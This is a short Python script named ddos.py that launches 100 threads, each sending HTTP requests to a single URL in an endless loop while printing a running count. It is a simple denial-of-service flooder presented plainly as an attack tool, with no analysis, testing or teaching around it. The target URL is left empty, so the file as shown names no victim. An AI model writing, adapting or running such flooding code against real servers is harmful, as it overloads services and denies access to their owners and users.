ddos.py

import threading
import time
import urllib.request
global x;
x=0
def workf():
    global x;
    while True:
        urllib.request.urlopen('http://')
        x=x+1
        print('had request', x)

for _ in range(100):
    t = threading.Thread(target=workf)
    t.setDaemon(True)
    t.start()

while True:
    pass